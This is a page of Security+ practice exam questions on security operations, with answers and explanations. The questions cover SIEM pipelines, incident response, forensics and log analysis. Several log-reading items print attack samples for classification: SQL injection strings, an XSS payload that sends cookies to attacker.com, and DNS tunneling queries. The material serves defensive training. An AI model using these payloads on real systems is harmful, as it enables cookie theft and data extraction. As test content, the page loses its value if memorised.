Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 41Question →

A security engineer is configuring a newly deployed Security Information and Event Management (SIEM) system to ingest and analyze multi-source telemetry across the enterprise network. Arrange the core stages of the SIEM log processing pipeline in the correct sequential order from initial intake to operational notice.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order of stages in the SIEM log processing pipeline is: Log Collection, Parsing, Normalization, Correlation, and Alerting.
The SIEM log processing pipeline must ingest raw logs before evaluating them. Log Collection receives raw telemetry from source hosts. Next, Parsing extracts discrete fields from unformatted text strings. Once parsed, Normalization maps those fields into a uniform taxonomy so events from different vendors can be understood under a single schema. Correlation then evaluates these normalized events across time windows and sources against threat rules. Finally, Alerting notifies security analysts when rule conditions are satisfied.

Step-by-Step Solution

1
Identify the initial intake phase of event data
Log Collection gathers raw telemetry from endpoints, network devices, and security controls.
Before any processing can begin, raw logs must be collected from their original sources.
2
Structure the unformatted log text into defined fields
Parsing breaks down raw strings into structured data elements like IP addresses, timestamps, and action codes.
SIEM systems cannot efficiently search or evaluate unstructured text without extracting key attributes.
3
Standardize variable field naming across disparate vendor formats
Normalization converts heterogeneous fields (e.g., 'src_ip' vs 'source_address') into a single common schema.
Correlation rules require uniform field names to effectively compare events from different vendors.
4
Evaluate uniform log data against security logic and threat indicators
Correlation cross-examines normalized events to identify suspicious patterns and multi-host activity.
Rule matching must operate on standardized, parsed telemetry to produce reliable threat detection.
5
Notify analysts or triggering automated incident response mechanisms
Alerting dispatches high-priority tickets or push notices for identified threats.
Alerting occurs only after correlation engines determine that specific event thresholds or rules have been triggered.

Key Concept

SIEM Log Processing Pipeline
Question 42Question →

A security analyst is auditing access logs following an unauthorized privilege escalation incident on a network perimeter gateway. The organization utilizes a centralized RADIUS server integrated with Directory Services for network access control. The authentication and authorization logs display the following consecutive events:

[TIMESTAMP: 2026-07-27T14:22:01Z] RADIUS-Auth: User 'j_doe' successfully authenticated via MS-CHAPv2.
[TIMESTAMP: 2026-07-27T14:22:02Z] RADIUS-Authz: Vendor-Specific Attribute (VSA) 'Cisco-AVPair = shell:priv-lvl=15' rejected due to policy schema syntax mismatch.
[TIMESTAMP: 2026-07-27T14:22:03Z] Gateway-Daemon: Fallback default authorization rule applied; assigned administrative profile (privilege level 15) to session 'j_doe'.

Which of the following operational vulnerabilities is the primary root cause of the unauthorized privilege escalation?

Show answer & explanation

Answer: A failure in authorization attribute processing triggered an insecure default fallback configuration on the gateway.

Answer

A failure in authorization attribute processing triggered an insecure default fallback configuration on the gateway.
The log output shows successful authentication followed by a failure in authorization attribute syntax (Vendor-Specific Attribute). The gateway daemon's flawed logic defaulted to granting full privilege level 15 when the authorization attribute was rejected. The root cause is therefore improper authorization processing leading to an insecure fail-open default configuration.

Step-by-Step Solution

1
Analyze RADIUS authentication log entry
User 'j_doe' successfully passed authentication using MS-CHAPv2, confirming identity validation occurred correctly.
Differentiates authentication (identity proof) from authorization (permission granting).
2
Analyze RADIUS authorization VSA log entry
The Vendor-Specific Attribute intended to specify privilege level 15 failed due to a syntax error.
Identifies where the permission specification mechanism broke down.
3
Analyze Gateway Daemon fallback log entry
Upon rejection of the authorization attribute, the gateway applied a default local rule granting full privilege level 15 access.
Pinpoints the root cause as fail-open default configuration upon authorization processing failure.

Key Concept

RADIUS Vendor-Specific Attributes (VSAs) and Fail-Secure vs. Fail-Open Authorization Handling
Question 43Question →

A digital forensics analyst has completed the imaging of a seized storage volume from an enterprise database server involved in a security incident. The analyst is preparing to transfer the physical evidence to an external forensic laboratory for detailed examination. Which of the following actions must the analyst take to maintain a valid chain of custody during this transfer? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Record cryptographic SHA-256 hashes of the acquired evidence alongside timestamped logs before initiating evidence transfer; Document sign-off signatures of both transferor and recipient detailing the exact date, time, and purpose on the chain of custody log

Answer

The analyst must record cryptographic hashes of the evidence before transfer and document dual sign-off signatures detailing the date, time, and purpose on the chain of custody log.
Maintaining a valid chain of custody requires documenting every transfer of evidence with detailed logs—including date, time, transferor, recipient, and purpose—as well as verifying evidence integrity via cryptographic hashing before and after transfer.

Step-by-Step Solution

1
Calculate and record pre-transfer cryptographic hash values
Establishes an integrity baseline for comparing evidence post-transport
Verification of hash integrity proves the digital evidence was not tampered with during transfer.
2
Complete the chain of custody log documentation during handoff
Tracks official custody, transferor/transferee identities, timestamps, and transfer purpose
Provides legal non-repudiation and accountability for who handled the evidence at all times.

Key Concept

Digital Forensics Chain of Custody and Evidence Integrity
Estimated Time:1m 30s
Question 44Question →

A Security Operations Center (SOC) analyst receives a high-priority alert indicating that an enterprise Voice over IP (VoIP) management server has established unauthorized outbound secure shell (SSH) sessions to an unknown external IP address and is attempting horizontal scanning across internal server subnets. The analyst inspects network logs and confirms that an active remote code execution exploit took place through the server's web administration panel. According to standard incident response playbooks, which of the following actions should the analyst perform FIRST?

Show answer & explanation

Answer: Isolate the compromised VoIP server from the network segment while preserving host volatile memory for forensic investigation.

Answer

Isolate the compromised VoIP server from the network segment while preserving host volatile memory for forensic investigation.
In accordance with standard NIST SP 800-61 incident response frameworks, once an active system compromise is confirmed, the immediate priority is containment. Isolating the compromised VoIP server from the network halts unauthorized lateral movement and outbound command-and-control communications. Preserving volatile RAM ensures vital forensic evidence remains available for analysis.

Step-by-Step Solution

1
Identify the current incident response phase based on the scenario state.
The compromise has just been verified, placing the response at the Containment phase.
Before any remediation or recovery can take place, active threats must be contained to prevent further damage or lateral movement.
2
Select the action that properly executes containment while preserving forensic evidence.
Network isolation stops external command-and-control traffic and internal scanning while keeping RAM intact.
Preserving volatile memory (RAM) is crucial before power-down or network disconnect, supporting chain of custody and forensic triage.

Key Concept

Incident Response Lifecycle - Containment Phase
Question 45Question →

A tier 2 incident responder analyzing endpoint telemetry observes an active fileless attack on an enterprise financial server, where an injected process is issuing unauthorized API calls to extract credentials and establish an outbound encrypted beacon. To effectively contain the active compromise and preserve critical evidence for incident triage without losing agent telemetry, which of the following response actions should the responder perform using EDR agent capabilities? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Apply host-level network isolation via the agent while maintaining the agent-to-console management connection; Capture a live volatile memory (RAM) dump of the endpoint directly through agent execution capabilities prior to terminating the suspicious process tree

Answer

The incident responder should apply host-level network isolation via the EDR agent while maintaining console connectivity, and capture a live volatile memory (RAM) dump of the host before terminating the suspicious process tree.
Combining host-level agent isolation with pre-remediation volatile memory acquisition enables incident responders to contain active network activity instantly while preserving volatile evidence necessary for root cause analysis.

Step-by-Step Solution

1
Isolate the compromised host at the endpoint layer via EDR console network containment features.
Network communication to external adversary infrastructure and adjacent internal network hosts is severed, stopping lateral movement while preserving SOC remote agent control.
Immediate containment at the host level prevents adversary expansion without blinding the security team.
2
Trigger volatile memory acquisition using EDR forensic capabilities prior to process kill execution.
In-memory code, injected DLLs, and volatile runtime evidence are preserved on disk or uploaded securely for forensic analysis.
Fileless memory threats disappear as soon as the host reboots or the process tree is killed.

Key Concept

EDR Host Isolation and Volatile Telemetry Preservation
Question 46Question →

A Security Operations Center (SOC) analyst receives a high-severity alert from a Network Intrusion Detection System (NIDS) monitoring outbound traffic from an internal corporate network segment. The log entry details are shown below:

`[2026-07-27 14:15:02] ALERT: ICMP_LARGE_PAYLOAD_ECHO | Src: 192.168.10.45 | Dst: 203.0.113.88 | Length: 1450 bytes | Rate: 1200 pkts/min | Payload_Header: 504b0304 (PK..)`

Based on this network security monitoring alert, which of the following conclusions and immediate response steps are most appropriate? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The alert indicates a potential covert channel utilizing ICMP tunneling to exfiltrate compressed archive files.; The analyst should isolate the internal workstation from the network while preserving session packet captures for incident investigation.

Answer

The correct conclusions and actions are recognizing that the alert indicates potential ICMP tunneling used for data exfiltration of compressed files, and immediately isolating the compromised workstation while capturing traffic logs for forensic analysis.
ICMP echo requests normally carry minimal data. High volume ICMP traffic carrying 1450-byte payloads with the magic header '504b0304' (Zip file header) signifies data exfiltration via ICMP tunneling. The appropriate incident response steps are isolating the source host to contain potential exfiltration and preserving traffic captures for further investigation.

Step-by-Step Solution

1
Analyze NIDS log parameters
Identified high-frequency ICMP packets with abnormally large payload sizes (1450 bytes) and a payload magic byte header of '504b0304' (Zip file signature).
ICMP traffic is intended for control and diagnostic messaging; embedding large file data headers indicates misuse of the protocol as a covert exfiltration tunnel.
2
Evaluate protocol attack classifications
Distinguished network-level protocol tunneling from web application attacks like SQLi or XSS.
ICMP functions at the Network Layer (Layer 3), whereas SQLi and XSS targets reside at the Application Layer (Layer 7).
3
Determine containment and investigation actions
Selected network isolation of the internal source IP and packet capture log preservation.
Containment halts further exfiltration over the network, while preserving evidence facilitates root cause analysis during incident response.

Key Concept

Network Intrusion Alert Interpretation and ICMP Covert Channel Detection
Question 47Question →

A SOC analyst is reviewing web server access logs within a SIEM platform after an automated alert was generated. The analyst identifies the following log entries:

192.168.10.45 - - [27/Jul/2026:10:15:32 +0000] "GET /item.php?id=12%27%20UNION%20SELECT%20username,%20password_hash%20FROM%20users-- HTTP/1.1" 200 4812
192.168.10.45 - - [27/Jul/2026:10:15:40 +0000] "GET /item.php?id=12%27%20OR%201=1-- HTTP/1.1" 200 9520

Based on the log analysis, which security event has occurred?

Show answer & explanation

Answer: A SQL injection (SQLi) attack targeting the backend database through URL parameter manipulation.

Answer

A SQL injection (SQLi) attack targeting the backend database through URL parameter manipulation.
The log entries show URL-encoded payloads containing standard SQL statements such as `UNION SELECT username, password_hash FROM users--` and `' OR 1=1--`. These syntax patterns confirm that an attacker is attempting to execute arbitrary SQL commands against the database through vulnerable parameter inputs.

Step-by-Step Solution

1
Examine the HTTP request methods and URI paths in the log entries.
The client requested `/item.php?id=...` using GET requests.
Log analysis begins with identifying the target resource and parameter inputs.
2
Decode and analyze the parameter payloads (`%20UNION%20SELECT%20...` and `%20OR%201=1--`).
Decoded strings reveal `UNION SELECT username, password_hash FROM users--` and `' OR 1=1--`.
URL-decoded strings show clear relational database query statements designed to append commands or bypass login checks.
3
Correlate the payload type with standard application attack classifications.
The injection of relational database queries via input parameters defines SQL Injection (SQLi).
Distinguishing SQL syntax from script syntax or directory markers allows accurate event classification.

Key Concept

Log Analysis and SQL Injection Detection in SIEM
Question 48Question →

During a routine security audit, a security engineer discovers that an internal data-processing application uses static, long-lived API keys embedded directly within source code to query a backend customer database. Additionally, the service account assigned to this application currently holds full database administrator privileges. To mitigate credential exposure risks and align with identity operational best practices, which of the following actions should the engineer take? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy a centralized secrets management vault to dynamically issue and automatically rotate short-lived API credentials.; Reconfigure account permissions using scoped Role-Based Access Control (RBAC) to restrict the service account to specific read and write operations.

Answer

Deploying a centralized secrets management vault to issue and rotate short-lived API credentials, and reconfiguring account permissions using scoped Role-Based Access Control (RBAC) to enforce least privilege.
Deploying a centralized secrets management vault automates credential rotation and removes static secrets from source code, securing the identity lifecycle. Implementing scoped Role-Based Access Control (RBAC) ensures the service account retains only the minimum permissions necessary for data processing, satisfying the principle of least privilege.

Step-by-Step Solution

1
Analyze the identified operational IAM vulnerabilities in the scenario.
Identified two core deficiencies: hardcoded long-lived credentials in source code and excessive administrative privileges on a service account.
Resolving credential leakage and privilege creep requires distinct operational controls addressing credential lifecycle and access assignment.
2
Evaluate remediation strategies for the hardcoded long-lived credentials.
Integrating a centralized secrets vault allows applications to fetch short-lived tokens on demand without embedding static secrets into application repositories.
Automated rotation and dynamic issuance mitigate the impact of credential harvesting and unauthorized source code disclosure.
3
Evaluate authorization controls for the service account's excessive permissions.
Applying scoped Role-Based Access Control (RBAC) aligns account rights directly to the specific database operations required by the application.
Restricting database administrator privileges to minimum functional rights enforces the principle of least privilege.

Key Concept

Identity and Access Management Operations: Credential Lifecycle Management and Least Privilege Enforcement
Question 49Question →

An enterprise security team is configuring an automated Security Orchestration, Automation, and Response (SOAR) playbook to respond to high-confidence phishing alerts containing malicious URL links. The team wants to execute rapid containment and context enrichment while preventing self-inflicted operational outages. Which of the following automated actions should be incorporated into this playbook? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Query threat intelligence feeds via API webhooks to enrich the incident with domain reputation scores and known indicators of compromise.; Revoke active user session tokens and trigger a forced credential reset through Identity Provider (IdP) API integration.

Answer

The appropriate automated response actions are querying threat intelligence feeds via API webhooks to enrich incident context and revoking active user session tokens with a forced credential reset via Identity Provider API integration.
The correct response actions include enriching alert context via threat intelligence API integrations and performing targeted identity containment by revoking active user sessions through Identity Provider APIs. These steps isolate compromised credentials and supply vital contextual data without risking self-inflicted enterprise downtime.

Step-by-Step Solution

1
Identify the primary goals of the automated incident response playbook.
The core goals are context enrichment and rapid, non-disruptive containment of the compromised account.
SOAR playbooks should streamline triage and mitigate active threats while maintaining operational continuity.
2
Assess threat intelligence enrichment mechanisms.
Querying external threat feeds via API webhooks retrieves domain reputation and indicators of compromise automatically.
API integrations allow the SOAR platform to gather contextual intelligence without affecting network access or infrastructure stability.
3
Evaluate containment actions for risk and efficacy.
Revoking session tokens via Identity Provider APIs isolates the specific compromised user identity, whereas adding internal domains to perimeter firewalls creates catastrophic operational outage.
Targeted API-driven identity containment neutralizes user compromise safely, whereas flawed playbook logic can take down critical services.

Key Concept

SOAR Playbook Design and Automated Incident Response Integration
Question 50Question →

During a routine security audit, a security analyst discovers that several Linux web servers hosted in an Infrastructure as a Service (IaaS) environment have diverged from the enterprise's hardened configuration baseline after manual hotfixes were applied by system administrators. Which of the following implementation strategies best provides automated drift detection and continuously enforces the designated configuration baseline across the server fleet?

Show answer & explanation

Answer: Deploying configuration management tools utilizing declarative state files operating in enforcement mode

Answer

Deploying configuration management tools utilizing declarative state files operating in enforcement mode
The correct response utilizes declarative configuration management (such as Ansible, Puppet, or Chef) operating in enforcement mode. These tools continuously audit the system's current state against an authoritative configuration baseline and automatically remediate any detected drift back to the defined security state.

Step-by-Step Solution

1
Analyze the problem requirements
Identified the need to remediate manual configuration drift on IaaS Linux web servers automatically and continuously.
Manual changes lead to unapproved deviations from established security baselines.
2
Evaluate the cloud shared responsibility model and control capabilities
Eliminated relying on the CSP for OS configuration as IaaS places OS management responsibilities on the customer. Eliminated network firewalls and HIPS as they do not provide automated state remediation.
Control selection must directly address host OS configuration enforcement.
3
Select the appropriate configuration management mechanism
Chosen configuration management software executing declarative policy files in enforcement mode.
Declarative tools regularly check system state against the baseline artifact and automatically overwrite unapproved manual edits back to the approved state.

Key Concept

Configuration Baseline Drift Remediation
Question 51Question →

A security technician inspecting web server access logs in a SIEM dashboard analyzes the following log entry:

`192.168.10.45 - - [27/Jul/2026:14:15:22 +0000] "GET /comment.php?user_input=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 452`

Which of the following security events is demonstrated in this log snippet?

Show answer & explanation

Answer: Cross-Site Scripting (XSS) attack

Answer

The log snippet demonstrates a Cross-Site Scripting (XSS) attack.
The correct answer is Cross-Site Scripting (XSS) attack because the HTTP GET request contains explicit `<script>` tags designed to execute client-side JavaScript code in a user's web browser to exfiltrate session cookies.

Step-by-Step Solution

1
Examine the HTTP request payload inside the log entry.
Identified client-side code: `<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.
Log analysis requires inspecting URL parameters for malicious patterns.
2
Classify the attack vector based on the payload structure.
The payload uses HTML/JavaScript tags (`<script>`) intended to execute in a victim's browser and steal cookie data.
Attacks injecting client-side scripts to run in the victim's browser session are categorized as Cross-Site Scripting.

Key Concept

Identifying Cross-Site Scripting (XSS) in Web Server Logs
Estimated Time:45s
Question 52Question →

An organization deploys a centralized Security Information and Event Management (SIEM) platform to monitor enterprise infrastructure. In what sequence does a security log event travel through the SIEM pipeline from initial creation to analyst notification?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order of log processing within a SIEM pipeline is: Event Generation -> Log Forwarding -> Parsing and Normalization -> Event Correlation -> Alert Generation.
Log processing follows a logical pipeline: an event must first be generated locally on an endpoint, forwarded to central storage, parsed into standard fields so multi-source data is consistent, evaluated by correlation engines against threat rules, and finally escalated as an alert when suspicious activity is detected.

Step-by-Step Solution

1
Identify the initial event creation step
The local system logs the event.
Data processing starts when an application or host creates a log entry locally.
2
Identify the transmission step
Log agents forward the entry to the SIEM.
Centralized SIEM analysis requires log entries to be transmitted over the network.
3
Identify the data structuring step
The SIEM parses and normalizes the log data into standardized fields.
Heterogeneous vendor logs must be converted into common schemas before cross-source rule matching.
4
Identify the detection rule evaluation step
The correlation engine checks normalized logs against security rules.
Rule matching identifies indicators of compromise across correlated data streams.
5
Identify the final output step
The SIEM generates a security alert.
Notifications are created after correlation conditions are met to notify security staff.

Key Concept

SIEM Log Processing Pipeline Lifecycle
Question 53Question →

A security analyst is establishing a patch and configuration management procedure for an air-gapped Industrial Control System (ICS) network following the disclosure of a critical firmware vulnerability. Which of the following technical controls and procedural steps should the analyst execute to ensure safe patch deployment and maintain system baselines? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Validate patches in an isolated staging environment using offline installation media verified with cryptographic hashes prior to deployment.; Archive verified offline baseline configuration backups and maintain documented roll-back plans for all managed controllers before executing updates.

Answer

The correct procedures are validating patches in an isolated staging environment using cryptographically verified offline media, and archiving verified offline baseline configuration backups with documented roll-back plans prior to update execution.
In air-gapped industrial environments, patch and configuration management requires verifying file integrity via cryptographic hashes, testing updates in a staging environment prior to production release, and securing baseline configurations with tested roll-back mechanisms to ensure high availability and prevent unexpected system outages.

Step-by-Step Solution

1
Analyze environment constraints and patch management prerequisites for specialized networks.
Identified that an air-gapped ICS network cannot rely on direct internet connectivity or unverified media.
Air-gapped systems require offline patch distribution mechanisms with strong integrity verification.
2
Select appropriate staging, verification, and roll-back controls.
Offline hash verification in a mirror environment combined with baseline configuration archiving ensures safe deployment and rapid restoration if instability occurs.
Pre-deployment testing mitigates operational disruption, and baseline backups enable roll-back during unexpected configuration drift.

Key Concept

Air-gapped Patch and Configuration Management Lifecycle
Question 54Question →

A security engineer is optimizing an enterprise Security Information and Event Management (SIEM) data ingestion pipeline to handle heterogeneous log streams from firewalls, web proxies, and endpoint agents. To perform cross-source security analytics without overwhelming system storage or failing complex detection logic, incoming event data must pass through sequential processing phases. What is the correct sequential order of log processing stages within the SIEM pipeline, from initial raw data ingestion to final security analyst escalation?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of SIEM log processing stages is: Field Parsing -> Schema Normalization -> Aggregation and Deduplication -> Correlation Engine Evaluation -> Alert Generation and SOAR Dispatch.
The correct operational workflow of a SIEM log processing architecture follows a logical progression: 1) Field Parsing converts unstructured raw log strings into structured data elements. 2) Schema Normalization standardizes field attributes into a common schema. 3) Aggregation and Deduplication reduces volume by combining repetitive events. 4) Correlation Engine Evaluation compares normalized multi-source events against detection rules and threat intelligence. 5) Alert Generation and SOAR Dispatch creates actionable analyst alerts and triggers automated incident response.

Step-by-Step Solution

1
Identify the initial transformation required on raw syslog and log strings
Raw logs must first undergo Field Parsing to break down unformatted text into structured key-value pairs.
SIEM processing engines cannot analyze raw strings until variables are parsed into discrete fields.
2
Determine how heterogeneous vendor logs are aligned
Extracted fields undergo Schema Normalization to standardize field names across different log vendors into a unified model.
Correlation rules require standardized field names regardless of whether the log originated from a Windows host, Linux server, or Palo Alto firewall.
3
Identify the data reduction stage prior to heavy analytic processing
Normalized events undergo Aggregation and Deduplication.
Filtering duplicate log floods within sliding time windows conserves compute resources before evaluating complex rules.
4
Determine where multi-source security threat detection occurs
Clean, normalized, and aggregated events are passed to the Correlation Engine for rule matching.
Correlation logic depends on historical and real-time cross-source data formatted in a common structure.
5
Identify the output action resulting from a positive detection match
Alert Generation and SOAR Dispatch occurs.
Once correlation conditions fire, the pipeline outputs an actionable alert to analysts or triggers automated mitigation playbooks.

Key Concept

SIEM Log Processing Pipeline Lifecycle
Question 55Question →

A security analyst reviewing SIEM alert logs identifies the following sequential events originating from an internal workstation:

2026-07-27T14:02:11Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: c2FtcGxlZGF0YWV4Zmls.malicious-domain.com RecordType: TXT Length: 512
2026-07-27T14:02:12Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: dG9wc2VjcmV0ZG9jcw==.malicious-domain.com RecordType: TXT Length: 512
2026-07-27T14:02:13Z Event: DNS_QUERY SrcIP: 10.0.4.150 DstIP: 8.8.8.8 Query: cGFzc3dvcmRoYXNoZXM=.malicious-domain.com RecordType: TXT Length: 512

Which of the following security threats is directly indicated by these log entries?

Show answer & explanation

Answer: DNS tunneling used for covert data exfiltration

Answer

The correct answer is DNS tunneling used for covert data exfiltration.
The log entries demonstrate DNS tunneling. The presence of rapidly generated TXT record queries containing unique, Base64-encoded subdomains sent to an external domain indicates that an internal host is encoding data into DNS queries to bypass traditional firewall and proxy filters for data exfiltration.

Step-by-Step Solution

1
Analyze the log entries for protocol type, query format, and record attributes.
The logs reveal repeated outbound DNS queries asking for TXT records with long, Base64-encoded strings as subdomains under an external domain (malicious-domain.com).
Identifying encoded payloads embedded inside DNS subdomains distinguishes protocol tunneling from standard hostname resolution requests.
2
Evaluate the pattern against known threat tactics.
Attackers encode sensitive data (such as Base64 strings decoding to 'sampledataexfil', 'topsecretdocs', and 'passwordhashes') into DNS queries to bypass standard perimeter security controls.
DNS traffic is frequently allowed outbound without inspection, making TXT record queries an ideal vehicle for covert data exfiltration.

Key Concept

DNS Tunneling and Data Exfiltration Detection in SIEM Logs
Estimated Time:1m 30s
Question 56Question →

A Security Operations Center (SOC) analyst investigating a high-severity alert in a SIEM platform correlates the following consecutive syslog entries from an internal recursive DNS resolver:

text
2026-07-27T14:22:01Z dns-resolver named[2048]: client 10.2.14.88#49152 (v1-a8f9c2d1e.exfil.external-collector.net): query: v1-a8f9c2d1e.exfil.external-collector.net IN TXT + (10.2.0.1)
2026-07-27T14:22:02Z dns-resolver named[2048]: client 10.2.14.88#49153 (v2-b7e8d3c4a.exfil.external-collector.net): query: v2-b7e8d3c4a.exfil.external-collector.net IN TXT + (10.2.0.1)
2026-07-27T14:22:03Z dns-resolver named[2048]: client 10.2.14.88#49154 (v3-f5a6b7c8d.exfil.external-collector.net): query: v3-f5a6b7c8d.exfil.external-collector.net IN TXT + (10.2.0.1)

Based on the log attributes, which of the following security events is occurring on host 10.2.14.88?

Show answer & explanation

Answer: DNS tunneling protocol abuse transmitting stolen payload data within encoded domain prefixes and TXT record queries

Answer

DNS tunneling protocol abuse transmitting stolen payload data within encoded domain prefixes and TXT record queries
The log entries display rapid, sequential DNS queries for TXT records containing unique, high-entropy subdomain strings (v1-a8f9c2d1e, v2-b7e8d3c4a, v3-f5a6b7c8d) under an external domain. Attackers use DNS tunneling to encapsulate covert payload data inside DNS queries to bypass standard network security controls.

Step-by-Step Solution

1
Analyze the log source and event pattern
Identified sequential DNS TXT queries originating from internal host 10.2.14.88 directed at unique subdomains of external-collector.net.
Understanding the protocol (DNS) and query record type (TXT) establishes the communication mechanism.
2
Examine query string structure and frequency
Subdomains feature high-entropy alphanumeric strings (e.g., v1-a8f9c2d1e) incrementing rapidly at 1-second intervals.
High-entropy, structured prefixes combined with regular time intervals are characteristic indicators of programmatic data encoding into DNS request labels.
3
Deduce the threat vector
Conclude that an internal compromised endpoint is utilizing DNS tunneling for covert data exfiltration to an attacker-controlled authoritative name server.
DNS traffic is frequently allowed through egress firewalls, making it a primary vector for encapsulating unauthorized outbound payload data.

Key Concept

DNS Tunneling and Log Analysis
Question 57Question →

During a forensic investigation of a compromise on a critical database host, an incident handler needs to collect evidence while the system remains powered on. To minimize data loss, which of the following evidence acquisition steps should be executed FIRST according to the order of volatility?

Show answer & explanation

Answer: Dump system RAM and active CPU cache registers.

Answer

Dumping system RAM and active CPU cache registers is the correct first step.
Dumping system RAM and active CPU cache registers is correct because the order of volatility requires capturing evidence from the most ephemeral (volatile) sources first. CPU cache, memory registers, and main system RAM lose all contents when power is interrupted or when overwritten by OS operations, whereas local disk drives and archived backups retain data persistently.

Step-by-Step Solution

1
Identify the volatility level of candidate evidence sources on the live database host.
CPU cache, registers, and system RAM are determined to be extremely short-lived volatile data sources.
The order of volatility dictates collecting evidence starting from the most volatile (easily lost) components to the least volatile.
2
Prioritize capture tools to acquire RAM and CPU state prior to persistent storage.
Volatile memory is successfully preserved before any disk writes or power state modifications alter system memory contents.
Interacting with disk storage or shutting down the machine irreversibly modifies running process state and RAM contents.

Key Concept

Order of Volatility in Digital Forensics
Estimated Time:1m 30s
Question 58Question →

A Security Operations Center (SOC) analyst receives a high-severity Endpoint Detection and Response (EDR) alert indicating an active living-off-the-land attack where a compromised workstation is attempting lateral movement via WMI and fileless memory injection. Arrange the following incident response containment and forensic actions in the correct sequential order from first step to last step.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence places host network isolation first, followed by volatile memory collection, active process tree termination, and finally fleet-wide IOC ban rule enforcement.
In security incident response workflows, immediate containment of lateral movement is prioritized first by applying EDR network host isolation. Next, adherence to the order of volatility dictates collecting RAM and process dumps prior to killing active processes. Once volatile evidence is safely captured, active malicious process trees are terminated to stop local adversary activity. Finally, extracted IOCs are distributed enterprise-wide as EDR ban rules to protect remaining fleet endpoints.

Step-by-Step Solution

1
Isolate host using EDR network containment tools.
Network traffic to and from the host is restricted to the EDR cloud sensor, immediately stopping lateral movement.
Containment is the immediate priority during active lateral movement attacks to limit blast radius.
2
Trigger remote volatile RAM and process dump collection.
Volatile memory evidence is stored safely before process alteration.
Order of volatility requires capturing RAM and volatile evidence before altering system memory state.
3
Kill malicious processes and injected execution threads.
Malicious code execution on the endpoint ceases completely.
Terminating processes stops ongoing attacker activity without losing evidence previously captured in Step 2.
4
Distribute IOC ban rules across all enterprise EDR endpoints.
Enterprise-wide protection is established against the identified attack signature.
Remediation and preventive policy enforcement ensure fleet-wide protection after containment.

Key Concept

EDR Incident Containment Sequence & Volatility Management
Question 59Question →

A security operations team is designing a vulnerability assessment strategy for a legacy operational technology (OT) network housing fragile programmable logic controllers (PLCs). Prior active network vulnerability scans against these devices caused unexpected buffer overflows, triggering critical system resets and operational downtime. Which of the following approaches should the analyst implement to safely identify known software vulnerabilities on these OT assets without risking system instability?

Show answer & explanation

Answer: Implement passive network traffic monitoring and asset identification combined with offline configuration file auditing.

Answer

Implement passive network traffic monitoring and asset identification combined with offline configuration file auditing.
The correct answer advocates for passive network traffic monitoring paired with offline static configuration audits. Passive monitoring inspects mirrored network traffic (e.g., via SPAN ports or TAPs) to identify protocols, firmware versions, and known vulnerabilities without sending a single packet to fragile endpoints. Offline configuration auditing checks static backups, eliminating any chance of causing operational disruption to critical legacy PLCs.

Step-by-Step Solution

1
Analyze environment constraints and historical failure modes
Identified fragile legacy PLCs in an OT environment that experience crashes during active probe transmission.
Legacy embedded systems lack robust TCP/IP stacks and fail gracefully when exposed to unexpected scan traffic.
2
Evaluate vulnerability assessment methodologies based on risk
Distinguished between active network scanning, agent-based assessment, and passive assessment.
Active network sweeps and local agents introduce operational risk or technical incompatibilities on OT hardware.
3
Select non-intrusive assessment controls
Determined passive packet analysis and offline static configuration analysis satisfy security requirements safely.
Passive techniques collect network banners and asset indicators out-of-band without generating network overhead or sending packets to sensitive endpoints.

Key Concept

Passive Vulnerability Assessment vs. Active Scanning in OT/ICS Environments
Question 60Question →

Match each vulnerability assessment scan approach with its corresponding operational description.

Click a left item, then click its matching right item

Items

Credentialed Scan
Non-Credentialed Scan
Intrusive Scan

Matches

Show answer & explanation

Answer

Credentialed Scan pairs with using administrative access for internal patch checks; Non-Credentialed Scan pairs with examining unauthenticated network services; Intrusive Scan pairs with actively exploiting weaknesses with disruption risk.
Credentialed scanning uses administrative privileges to check internal host states, non-credentialed scanning evaluates exposed network services without access permissions, and intrusive scanning actively verifies vulnerability exploitability with potential operational impact.

Step-by-Step Solution

1
Analyze the authentication requirement of each scanning method.
Credentialed scans use authorized accounts to perform inside-out administrative checks, whereas non-credentialed scans inspect systems outside-in without credentials.
Differentiating access capabilities defines host-level vs network-level inspection.
2
Evaluate the operational impact and active testing behavior.
Intrusive scanning actively simulates exploits to verify vulnerability presence, distinguishing it from passive or non-intrusive measurement techniques.
Identifying operational risk separates discovery scans from exploitation attempts.

Key Concept

Vulnerability scanning modes and operational characteristics
Estimated Time:1m 0s
PreviousPage 3 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 3 | Examkin